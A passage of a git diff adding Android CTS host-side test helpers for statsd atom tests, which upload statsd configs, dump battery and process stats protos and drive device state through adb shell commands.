+            return true;
+        } catch (AssertionError e) {
+            // Method is designed to fail if the answer is false.
+            LogUtil.CLog.d(methodName + "() indicates false.");
+            return false;
+        }
+    }
+
+    /**
+     * Returns a protobuf-encoded perfetto config that enables the kernel
+     * ftrace tracer with sched_switch for 10 seconds.
+     */
+    protected ByteString getPerfettoConfig() {
+        TraceConfig.Builder builder = TraceConfig.newBuilder();
+
+        TraceConfig.BufferConfig buffer = TraceConfig.BufferConfig
+            .newBuilder()
+            .setSizeKb(128)
+            .build();
+        builder.addBuffers(buffer);
+
+        FtraceConfig ftraceConfig = FtraceConfig.newBuilder()
+            .addFtraceEvents("sched/sched_switch")
+            .build();
+        DataSourceConfig dataSourceConfig = DataSourceConfig.newBuilder()
+            .setName("linux.ftrace")
+            .setTargetBuffer(0)
+            .setFtraceConfig(ftraceConfig)
+            .build();
+        TraceConfig.DataSource dataSource = TraceConfig.DataSource
+            .newBuilder()
+            .setConfig(dataSourceConfig)
+            .build();
+        builder.addDataSources(dataSource);
+
+        builder.setDurationMs(10000);
+        builder.setAllowUserBuildTracing(true);
+
+        // To avoid being hit with guardrails firing in multiple test runs back
+        // to back, we set a unique session key for each config.
+        Random random = new Random();
+        StringBuilder sessionNameBuilder = new StringBuilder("statsd-cts-");
+        sessionNameBuilder.append(random.nextInt() & Integer.MAX_VALUE);
+        builder.setUniqueSessionName(sessionNameBuilder.toString());
+
+        return builder.build().toByteString();
+    }
+
+    /**
+     * Resets the state of the Perfetto guardrails. This avoids that the test fails if it's
+     * run too close of for too many times and hits the upload limit.
+     */
+    protected void resetPerfettoGuardrails() throws Exception {
+        final String cmd = "perfetto --reset-guardrails";
+        CommandResult cr = getDevice().executeShellV2Command(cmd);
+        if (cr.getStatus() != CommandStatus.SUCCESS)
+            throw new Exception(String.format("Error while executing %s: %s %s", cmd, cr.getStdout(), cr.getStderr()));
+    }
+
+    private String probe(String path) throws Exception {
+        return getDevice().executeShellCommand("if [ -e " + path + " ] ; then"
+                + " cat " + path + " ; else echo -1 ; fi");
+    }
+
+    /**
+     * Determines whether perfetto enabled the kernel ftrace tracer.
+     */
+    protected boolean isSystemTracingEnabled() throws Exception {
+        final String traceFsPath = "/sys/kernel/tracing/tracing_on";
+        String tracing_on = probe(traceFsPath);
+        if (tracing_on.startsWith("0")) return false;
+        if (tracing_on.startsWith("1")) return true;
+
+        // fallback to debugfs
+        LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to debugfs", traceFsPath,
+                tracing_on);
+
+        final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
+        tracing_on = probe(debugFsPath);
+        if (tracing_on.startsWith("0")) return false;
+        if (tracing_on.startsWith("1")) return true;
+        throw new Exception(String.format("Unexpected state for %s = %s", traceFsPath, tracing_on));
+    }
+
+    protected static StatsdConfig.Builder createConfigBuilder() {
+      return StatsdConfig.newBuilder()
+          .setId(CONFIG_ID)
+          .addAllowedLogSource("AID_SYSTEM")
+          .addAllowedLogSource("AID_BLUETOOTH")
+          // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
+          .addAllowedLogSource("com.android.bluetooth")
+          .addAllowedLogSource("AID_LMKD")
+          .addAllowedLogSource("AID_RADIO")
+          .addAllowedLogSource("AID_ROOT")
+          .addAllowedLogSource("AID_STATSD")
+          .addAllowedLogSource("com.android.systemui")
+          .addAllowedLogSource(DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE)
+          .addDefaultPullPackages("AID_RADIO")
+          .addDefaultPullPackages("AID_SYSTEM")
+          .addWhitelistedAtomIds(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
+    }
+
+    protected void createAndUploadConfig(int atomTag) throws Exception {
+        StatsdConfig.Builder conf = createConfigBuilder();
+        addAtomEvent(conf, atomTag);
+        uploadConfig(conf);
+    }
+
+    protected void uploadConfig(StatsdConfig.Builder config) throws Exception {
+        uploadConfig(config.build());
+    }
+
+    protected void uploadConfig(StatsdConfig config) throws Exception {
+        LogUtil.CLog.d("Uploading the following config:\n" + config.toString());
+        File configFile = File.createTempFile("statsdconfig", ".config");
+        configFile.deleteOnExit();
+        Files.write(config.toByteArray(), configFile);
+        String remotePath = "/data/local/tmp/" + configFile.getName();
+        getDevice().pushFile(configFile, remotePath);
+        getDevice().executeShellCommand(
+                String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD,
+                        String.valueOf(CONFIG_ID)));
+        getDevice().executeShellCommand("rm " + remotePath);
+    }
+
+    protected void removeConfig(long configId) throws Exception {
+        getDevice().executeShellCommand(
+                String.join(" ", REMOVE_CONFIG_CMD, String.valueOf(configId)));
+    }
+
+    /** Gets the statsd report and sorts it. Note that this also deletes that report from statsd. */
+    protected List<EventMetricData> getEventMetricDataList() throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        return getEventMetricDataList(reportList);
+    }
+
+    /**
+     *  Gets a List of sorted ConfigMetricsReports from ConfigMetricsReportList.
+     */
+    protected List<ConfigMetricsReport> getSortedConfigMetricsReports(
+            ConfigMetricsReportList configMetricsReportList) {
+        return configMetricsReportList.getReportsList().stream()
+                .sorted(Comparator.comparing(ConfigMetricsReport::getCurrentReportWallClockNanos))
+                .collect(Collectors.toList());
+    }
+
+    /**
+     * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
+     * contain a single report).
+     */
+    protected List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
+            throws Exception {
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        ConfigMetricsReport report = reportList.getReports(0);
+
+        List<EventMetricData> data = new ArrayList<>();
+        for (StatsLogReport metric : report.getMetricsList()) {
+            data.addAll(metric.getEventMetrics().getDataList());
+        }
+        data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
+
+        LogUtil.CLog.d("Get EventMetricDataList as following:\n");
+        for (EventMetricData d : data) {
+            LogUtil.CLog.d("Atom at " + d.getElapsedTimestampNanos() + ":\n" + d.getAtom().toString());
+        }
+        return data;
+    }
+
+    protected List<Atom> getGaugeMetricDataList() throws Exception {
+        return getGaugeMetricDataList(/*checkTimestampTruncated=*/false);
+    }
+
+    protected List<Atom> getGaugeMetricDataList(boolean checkTimestampTruncated) throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+
+        // only config
+        ConfigMetricsReport report = reportList.getReports(0);
+        assertThat(report.getMetricsCount()).isEqualTo(1);
+
+        List<Atom> data = new ArrayList<>();
+        for (GaugeMetricData gaugeMetricData :
+                report.getMetrics(0).getGaugeMetrics().getDataList()) {
+            assertThat(gaugeMetricData.getBucketInfoCount()).isEqualTo(1);
+            GaugeBucketInfo bucketInfo = gaugeMetricData.getBucketInfo(0);
+            for (Atom atom : bucketInfo.getAtomList()) {
+                data.add(atom);
+            }
+            if (checkTimestampTruncated) {
+                for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
+                    assertTimestampIsTruncated(timestampNs);
+                }
+            }
+        }
+
+        LogUtil.CLog.d("Get GaugeMetricDataList as following:\n");
+        for (Atom d : data) {
+            LogUtil.CLog.d("Atom:\n" + d.toString());
+        }
+        return data;
+    }
+
+    /**
+     * Gets the statsd report and extract duration metric data.
+     * Note that this also deletes that report from statsd.
+     */
+    protected List<DurationMetricData> getDurationMetricDataList() throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        ConfigMetricsReport report = reportList.getReports(0);
+
+        List<DurationMetricData> data = new ArrayList<>();
+        for (StatsLogReport metric : report.getMetricsList()) {
+            data.addAll(metric.getDurationMetrics().getDataList());
+        }
+
+        LogUtil.CLog.d("Got DurationMetricDataList as following:\n");
+        for (DurationMetricData d : data) {
+            LogUtil.CLog.d("Duration " + d);
+        }
+        return data;
+    }
+
+    /**
+     * Gets the statsd report and extract count metric data.
+     * Note that this also deletes that report from statsd.
+     */
+    protected List<CountMetricData> getCountMetricDataList() throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        ConfigMetricsReport report = reportList.getReports(0);
+
+        List<CountMetricData> data = new ArrayList<>();
+        for (StatsLogReport metric : report.getMetricsList()) {
+            data.addAll(metric.getCountMetrics().getDataList());
+        }
+
+        LogUtil.CLog.d("Got CountMetricDataList as following:\n");
+        for (CountMetricData d : data) {
+            LogUtil.CLog.d("Count " + d);
+        }
+        return data;
+    }
+
+    /**
+     * Gets the statsd report and extract value metric data.
+     * Note that this also deletes that report from statsd.
+     */
+    protected List<ValueMetricData> getValueMetricDataList() throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        ConfigMetricsReport report = reportList.getReports(0);
+
+        List<ValueMetricData> data = new ArrayList<>();
+        for (StatsLogReport metric : report.getMetricsList()) {
+            data.addAll(metric.getValueMetrics().getDataList());
+        }
+
+        LogUtil.CLog.d("Got ValueMetricDataList as following:\n");
+        for (ValueMetricData d : data) {
+            LogUtil.CLog.d("Value " + d);
+        }
+        return data;
+    }
+
+    protected StatsLogReport getStatsLogReport() throws Exception {
+        ConfigMetricsReport report = getConfigMetricsReport();
+        assertThat(report.hasUidMap()).isTrue();
+        assertThat(report.getMetricsCount()).isEqualTo(1);
+        return report.getMetrics(0);
+    }
+
+    protected ConfigMetricsReport getConfigMetricsReport() throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        return reportList.getReports(0);
+    }
+
+    /** Gets the statsd report. Note that this also deletes that report from statsd. */
+    protected ConfigMetricsReportList getReportList() throws Exception {
+        try {
+            ConfigMetricsReportList reportList = getDump(ConfigMetricsReportList.parser(),
+                    String.join(" ", DUMP_REPORT_CMD, String.valueOf(CONFIG_ID),
+                            "--include_current_bucket", "--proto"));
+            return reportList;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to fetch and parse the statsd output report. "
+                    + "Perhaps there is not a valid statsd config for the requested "
+                    + "uid=" + getHostUid() + ", id=" + CONFIG_ID + ".");
+            throw (e);
+        }
+    }
+
+    protected BatteryStatsProto getBatteryStatsProto() throws Exception {
+        try {
+            BatteryStatsProto batteryStatsProto = getDump(BatteryStatsServiceDumpProto.parser(),
+                    String.join(" ", DUMP_BATTERYSTATS_CMD,
+                            "--proto")).getBatterystats();
+            LogUtil.CLog.d("Got batterystats:\n " + batteryStatsProto.toString());
+            return batteryStatsProto;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump batterystats proto");
+            throw (e);
+        }
+    }
+
+    protected List<ProcessStatsProto> getProcStatsProto() throws Exception {
+        try {
+
+            List<ProcessStatsProto> processStatsProtoList =
+                new ArrayList<ProcessStatsProto>();
+            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
+                    ProcessStatsServiceDumpProto.parser(),
+                    String.join(" ", DUMP_PROCSTATS_CMD,
+                            "--proto")).getProcstatsNow();
+            for (android.service.procstats.ProcessStatsProto stats :
+                    sectionProto.getProcessStatsList()) {
+                ProcessStatsProto procStats = ProcessStatsProto.parser().parseFrom(
+                    stats.toByteArray());
+                processStatsProtoList.add(procStats);
+            }
+            LogUtil.CLog.d("Got procstats:\n ");
+            for (ProcessStatsProto processStatsProto : processStatsProtoList) {
+                LogUtil.CLog.d(processStatsProto.toString());
+            }
+            return processStatsProtoList;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump procstats proto");
+            throw (e);
+        }
+    }
+
+    /*
+     * Get all procstats package data in proto
+     */
+    protected List<ProcessStatsPackageProto> getAllProcStatsProto() throws Exception {
+        try {
+            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
+                    ProcessStatsServiceDumpProto.parser(),
+                    String.join(" ", DUMP_PROCSTATS_CMD,
+                            "--proto")).getProcstatsOver24Hrs();
+            List<ProcessStatsPackageProto> processStatsProtoList =
+                new ArrayList<ProcessStatsPackageProto>();
+            for (android.service.procstats.ProcessStatsPackageProto pkgStast :
+                sectionProto.getPackageStatsList()) {
+              ProcessStatsPackageProto pkgAtom =
+                  ProcessStatsPackageProto.parser().parseFrom(pkgStast.toByteArray());
+                processStatsProtoList.add(pkgAtom);
+            }
+            LogUtil.CLog.d("Got procstats:\n ");
+            for (ProcessStatsPackageProto processStatsProto : processStatsProtoList) {
+                LogUtil.CLog.d(processStatsProto.toString());
+            }
+            return processStatsProtoList;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump procstats proto");
+            throw (e);
+        }
+    }
+
+    /*
+     * Get all processes' procstats statsd data in proto
+     */
+    protected List<android.service.procstats.ProcessStatsProto> getAllProcStatsProtoForStatsd()
+            throws Exception {
+        try {
+            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
+                    android.service.procstats.ProcessStatsSectionProto.parser(),
+                    String.join(" ", DUMP_PROCSTATS_CMD,
+                            "--statsd"));
+            List<android.service.procstats.ProcessStatsProto> processStatsProtoList
+                    = sectionProto.getProcessStatsList();
+            LogUtil.CLog.d("Got procstats:\n ");
+            for (android.service.procstats.ProcessStatsProto processStatsProto
+                    : processStatsProtoList) {
+                LogUtil.CLog.d(processStatsProto.toString());
+            }
+            return processStatsProtoList;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump procstats proto");
+            throw (e);
+        }
+    }
+
+    protected boolean hasBattery() throws Exception {
+        try {
+            BatteryServiceDumpProto batteryProto = getDump(BatteryServiceDumpProto.parser(),
+                    String.join(" ", DUMP_BATTERY_CMD, "--proto"));
+            LogUtil.CLog.d("Got battery service dump:\n " + batteryProto.toString());
+            return batteryProto.getIsPresent();
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump batteryservice proto");
+            throw (e);
+        }
+    }
+
+    /** Creates a FieldValueMatcher.Builder corresponding to the given field. */
+    protected static FieldValueMatcher.Builder createFvm(int field) {
+        return FieldValueMatcher.newBuilder().setField(field);
+    }
+
+    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag) throws Exception {
+        addAtomEvent(conf, atomTag, new ArrayList<FieldValueMatcher.Builder>());
+    }
+
+    /**
+     * Adds an event to the config for an atom that matches the given key.
+     *
+     * @param conf    configuration
+     * @param atomTag atom tag (from atoms.proto)
+     * @param fvm     FieldValueMatcher.Builder for the relevant key
+     */
+    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
+            FieldValueMatcher.Builder fvm)
+            throws Exception {
+        addAtomEvent(conf, atomTag, Arrays.asList(fvm));
+    }
+
+    /**
+     * Adds an event to the config for an atom that matches the given keys.
+     *
+     * @param conf   configuration
+     * @param atomId atom tag (from atoms.proto)
+     * @param fvms   list of FieldValueMatcher.Builders to attach to the atom. May be null.
+     */
+    protected void addAtomEvent(StatsdConfig.Builder conf, int atomId,
+            List<FieldValueMatcher.Builder> fvms) throws Exception {
+
+        final String atomName = "Atom" + System.nanoTime();
+        final String eventName = "Event" + System.nanoTime();
+
+        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
+        if (fvms != null) {
+            for (FieldValueMatcher.Builder fvm : fvms) {
+                sam.addFieldValueMatcher(fvm);
+            }
+        }
+        conf.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(atomName.hashCode())
+                .setSimpleAtomMatcher(sam));
+        conf.addEventMetric(EventMetric.newBuilder()
+                .setId(eventName.hashCode())
+                .setWhat(atomName.hashCode()));
+    }
+
+    /**
+     * Adds an atom to a gauge metric of a config
+     *
+     * @param conf        configuration
+     * @param atomId      atom id (from atoms.proto)
+     * @param gaugeMetric the gauge metric to add
+     */
+    protected void addGaugeAtom(StatsdConfig.Builder conf, int atomId,
+            GaugeMetric.Builder gaugeMetric) throws Exception {
+        final String atomName = "Atom" + System.nanoTime();
+        final String gaugeName = "Gauge" + System.nanoTime();
+        final String predicateName = "APP_BREADCRUMB";
+        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
+        conf.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(atomName.hashCode())
+                .setSimpleAtomMatcher(sam));
+        final String predicateTrueName = "APP_BREADCRUMB_1";
+        final String predicateFalseName = "APP_BREADCRUMB_2";
+        conf.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(predicateTrueName.hashCode())
+                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
+                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
+                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
+                                .setEqInt(1)
+                        )
+                )
+        )
+                // Used to trigger predicate
+                .addAtomMatcher(AtomMatcher.newBuilder()
+                        .setId(predicateFalseName.hashCode())
+                        .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+                                .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
+                                .addFieldValueMatcher(FieldValueMatcher.newBuilder()
+                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
+                                        .setEqInt(2)
+                                )
+                        )
+                );
+        conf.addPredicate(Predicate.newBuilder()
+                .setId(predicateName.hashCode())
+                .setSimplePredicate(SimplePredicate.newBuilder()
+                        .setStart(predicateTrueName.hashCode())
+                        .setStop(predicateFalseName.hashCode())
+                        .setCountNesting(false)
+                )
+        );
+        gaugeMetric
+                .setId(gaugeName.hashCode())
+                .setWhat(atomName.hashCode())
+                .setCondition(predicateName.hashCode());
+        conf.addGaugeMetric(gaugeMetric.build());
+    }
+
+    /**
+     * Adds an atom to a gauge metric of a config
+     *
+     * @param conf      configuration
+     * @param atomId    atom id (from atoms.proto)
+     * @param dimension dimension is needed for most pulled atoms
+     */
+    protected void addGaugeAtomWithDimensions(StatsdConfig.Builder conf, int atomId,
+            @Nullable FieldMatcher.Builder dimension) throws Exception {
+        GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
+                .setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
+                .setSamplingType(GaugeMetric.SamplingType.CONDITION_CHANGE_TO_TRUE)
+                .setMaxNumGaugeAtomsPerBucket(10000)
+                .setBucket(TimeUnit.CTS);
+        if (dimension != null) {
+            gaugeMetric.setDimensionsInWhat(dimension.build());
+        }
+        addGaugeAtom(conf, atomId, gaugeMetric);
+    }
+
+    /**
+     * Asserts that each set of states in stateSets occurs at least once in data.
+     * Asserts that the states in data occur in the same order as the sets in stateSets.
+     *
+     * @param stateSets        A list of set of states, where each set represents an equivalent
+     *                         state of the device for the purpose of CTS.
+     * @param data             list of EventMetricData from statsd, produced by
+     *                         getReportMetricListData()
+     * @param wait             expected duration (in ms) between state changes; asserts that the
+     *                         actual wait
+     *                         time was wait/2 <= actual_wait <= 5*wait. Use 0 to ignore this
+     *                         assertion.
+     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
+     */
+    public void assertStatesOccurred(List<Set<Integer>> stateSets, List<EventMetricData> data,
+            int wait, Function<Atom, Integer> getStateFromAtom) {
+        // Sometimes, there are more events than there are states.
+        // Eg: When the screen turns off, it may go into OFF and then DOZE immediately.
+        assertWithMessage("Too few states found").that(data.size()).isAtLeast(stateSets.size());
+        int stateSetIndex = 0; // Tracks which state set we expect the data to be in.
+        for (int dataIndex = 0; dataIndex < data.size(); dataIndex++) {
+            Atom atom = data.get(dataIndex).getAtom();
+            int state = getStateFromAtom.apply(atom);
+            // If state is in the current state set, we do not assert anything.
+            // If it is not, we expect to have transitioned to the next state set.
+            if (stateSets.get(stateSetIndex).contains(state)) {
+                // No need to assert anything. Just log it.
+                LogUtil.CLog.i("The following atom at dataIndex=" + dataIndex + " is "
+                        + "in stateSetIndex " + stateSetIndex + ":\n"
+                        + data.get(dataIndex).getAtom().toString());
+            } else {
+                stateSetIndex += 1;
+                LogUtil.CLog.i("Assert that the following atom at dataIndex=" + dataIndex + " is"
+                        + " in stateSetIndex " + stateSetIndex + ":\n"
+                        + data.get(dataIndex).getAtom().toString());
+                assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0);
+                assertWithMessage("Too many states").that(stateSetIndex)
+                    .isLessThan(stateSets.size());
+                assertWithMessage(String.format("Is in wrong state (%d)", state))
+                    .that(stateSets.get(stateSetIndex)).contains(state);
+                if (wait > 0) {
+                    assertTimeDiffBetween(data.get(dataIndex - 1), data.get(dataIndex),
+                            wait / 2, wait * 5);
+                }
+            }
+        }
+        assertWithMessage("Too few states").that(stateSetIndex).isEqualTo(stateSets.size() - 1);
+    }
+
+    /**
+     * Removes all elements from data prior to the first occurrence of an element of state. After
+     * this method is called, the first element of data (if non-empty) is guaranteed to be an
+     * element in state.
+     *
+     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
+     */
+    public void popUntilFind(List<EventMetricData> data, Set<Integer> state,
+            Function<Atom, Integer> getStateFromAtom) {
+        int firstStateIdx;
+        for (firstStateIdx = 0; firstStateIdx < data.size(); firstStateIdx++) {
+            Atom atom = data.get(firstStateIdx).getAtom();
+            if (state.contains(getStateFromAtom.apply(atom))) {
+                break;
+            }
+        }
+        if (firstStateIdx == 0) {
+            // First first element already is in state, so there's nothing to do.
+            return;
+        }
+        data.subList(0, firstStateIdx).clear();
+    }
+
+    /**
+     * Removes all elements from data after to the last occurrence of an element of state. After
+     * this method is called, the last element of data (if non-empty) is guaranteed to be an
+     * element in state.
+     *
+     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
+     */
+    public void popUntilFindFromEnd(List<EventMetricData> data, Set<Integer> state,
+        Function<Atom, Integer> getStateFromAtom) {
+        int lastStateIdx;
+        for (lastStateIdx = data.size() - 1; lastStateIdx >= 0; lastStateIdx--) {
+            Atom atom = data.get(lastStateIdx).getAtom();
+            if (state.contains(getStateFromAtom.apply(atom))) {
+                break;
+            }
+        }
+        if (lastStateIdx == data.size()-1) {
+            // Last element already is in state, so there's nothing to do.
+            return;
+        }
+        data.subList(lastStateIdx+1, data.size()).clear();
+    }
+
+    /** Returns the UID of the host, which should always either be SHELL (2000) or ROOT (0). */
+    protected int getHostUid() throws DeviceNotAvailableException {
+        String strUid = "";
+        try {
+            strUid = getDevice().executeShellCommand("id -u");
+            return Integer.parseInt(strUid.trim());
+        } catch (NumberFormatException e) {
+            LogUtil.CLog.e("Failed to get host's uid via shell command. Found " + strUid);
+            // Fall back to alternative method...
+            if (getDevice().isAdbRoot()) {
+                return 0; // ROOT
+            } else {
+                return 2000; // SHELL
+            }
+        }
+    }
+
+    protected String getProperty(String prop) throws Exception {
+        return getDevice().executeShellCommand("getprop " + prop).replace("\n", "");
+    }
+
+    protected void turnScreenOn() throws Exception {
+        getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        getDevice().executeShellCommand("wm dismiss-keyguard");
+    }
+
+    protected void turnScreenOff() throws Exception {
+        getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
+    }
+
+    protected void setChargingState(int state) throws Exception {
+        getDevice().executeShellCommand("cmd battery set status " + state);
+    }
+
+    protected void unplugDevice() throws Exception {
+        // On batteryless devices on Android P or above, the 'unplug' command
+        // alone does not simulate the really unplugged state.
+        //
+        // This is because charging state is left as "unknown". Unless a valid
+        // state like 3 = BatteryManager.BATTERY_STATUS_DISCHARGING is set,
+        // framework does not consider the device as running on battery.
+        setChargingState(3);
+
+        getDevice().executeShellCommand("cmd battery unplug");
+    }
+
+    protected void plugInAc() throws Exception {
+        getDevice().executeShellCommand("cmd battery set ac 1");
+    }
+
+    protected void enableLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats enable");
+    }
+
+    protected void resetLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats reset");
+    }
+
+    protected void disableLooperStats() throws Exception {
+        getDevice().executeShellCommand("cmd looper_stats disable");
+    }
+
+    protected void enableBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --enable");
+    }
+
+    protected void resetBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --reset");
+    }
+
+    protected void disableBinderStats() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --disable");
+    }
+
+    protected void binderStatsNoSampling() throws Exception {
+        getDevice().executeShellCommand("dumpsys binder_calls_stats --no-sampling");
+    }
+
+    public void setAppBreadcrumbPredicate() throws Exception {
+        doAppBreadcrumbReportedStart(1);
+    }
+
+    public void clearAppBreadcrumbPredicate() throws Exception {
+        doAppBreadcrumbReportedStart(2);
+    }
+
+    public void doAppBreadcrumbReportedStart(int label) throws Exception {
+        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.START.ordinal());
+    }
+
+    public void doAppBreadcrumbReportedStop(int label) throws Exception {
+        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.STOP.ordinal());
+    }
+
+    public void doAppBreadcrumbReported(int label) throws Exception {
+        doAppBreadcrumbReported(label, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
+    }
+
+    public void doAppBreadcrumbReported(int label, int state) throws Exception {
+        getDevice().executeShellCommand(String.format(
+                "cmd stats log-app-breadcrumb %d %d", label, state));
+    }
+
+    protected void rebootDevice() throws Exception {
+        getDevice().rebootUntilOnline();
+    }
+
+    /**
+     * Asserts that the two events are within the specified range of each other.
+     *
+     * @param d0        the event that should occur first
+     * @param d1        the event that should occur second
+     * @param minDiffMs d0 should precede d1 by at least this amount
+     * @param maxDiffMs d0 should precede d1 by at most this amount
+     */
+    public static void assertTimeDiffBetween(EventMetricData d0, EventMetricData d1,
+            int minDiffMs, int maxDiffMs) {
+        long diffMs = (d1.getElapsedTimestampNanos() - d0.getElapsedTimestampNanos()) / 1_000_000;
+        assertWithMessage("Illegal time difference")
+            .that(diffMs).isIn(Range.closed((long) minDiffMs, (long) maxDiffMs));
+    }
+
+    protected String getCurrentLogcatDate() throws Exception {
+        // TODO: Do something more robust than this for getting logcat markers.
+        long timestampMs = getDevice().getDeviceDate();
+        return new SimpleDateFormat("MM-dd HH:mm:ss.SSS")
+                .format(new Date(timestampMs));
+    }
+
+    protected String getLogcatSince(String date, String logcatParams) throws Exception {
+        return getDevice().executeShellCommand(String.format(
+                "logcat -v threadtime -t '%s' -d %s", date, logcatParams));
+    }
+
+    // TODO: Remove this and migrate all usages to createConfigBuilder()
+    protected StatsdConfig.Builder getPulledConfig() {
+        return createConfigBuilder();
+    }
+    /**
+     * Determines if the device has the given feature.
+     * Prints a warning if its value differs from requiredAnswer.
+     */
+    protected boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
+        final String features = getDevice().executeShellCommand("pm list features");
+        boolean hasIt = features.contains(featureName);
+        if (hasIt != requiredAnswer) {
+            LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
+                    + featureName);
+        }
+        return hasIt == requiredAnswer;
+    }
+
+    // Checks that a timestamp has been truncated to be a multiple of 5 min
+    protected void assertTimestampIsTruncated(long timestampNs) {
+        long fiveMinutesInNs = NS_PER_SEC * 5 * 60;
+        assertWithMessage("Timestamp is not truncated")
+                .that(timestampNs % fiveMinutesInNs).isEqualTo(0);
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/BaseTestCase.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/BaseTestCase.java
new file mode 100644
index 0000000..64d33ee
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/BaseTestCase.java
@@ -0,0 +1,172 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.statsd;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.protobuf.InvalidProtocolBufferException;
+import com.google.protobuf.MessageLite;
+import com.google.protobuf.Parser;
+
+import java.io.FileNotFoundException;
+import java.util.Map;
+
+import javax.annotation.Nonnull;
+import javax.annotation.Nullable;
+
+// Largely copied from incident's ProtoDumpTestCase
+public class BaseTestCase extends DeviceTestCase implements IBuildReceiver {
+
+    protected IBuildInfo mCtsBuild;
+
+    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
